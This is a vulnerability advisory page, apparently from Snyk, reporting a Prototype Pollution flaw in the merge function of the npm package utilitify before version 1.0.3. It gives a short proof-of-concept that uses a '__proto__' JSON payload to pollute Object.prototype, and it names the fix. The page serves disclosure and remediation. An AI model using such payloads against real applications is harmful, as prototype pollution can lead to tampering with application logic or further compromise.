utilitify@1.0.2 vulnerabilities

The utilities for working with a collections such as objects, arrays and primitives such as numbers, strings, etc.

Direct Vulnerabilities

Known vulnerabilities in the utilitify package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

utilitify is a the utilities for working with a collections such as objects, arrays and primitives such as numbers, strings, etc.

Affected versions of this package are vulnerable to Prototype Pollution. The merge method could be tricked into adding or modifying properties of Object.prototype

PoC

import { mergeDeep } from 'utilitify';
var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';
var result = mergeDeep({ a: { b: { c: 'c', d: 'd' } } }, { a: { b: JSON.parse(malicious_payload) } });
console.log({}.vulnerable);

How to fix Prototype Pollution?

Upgrade utilitify to version 1.0.3 or higher.

<1.0.3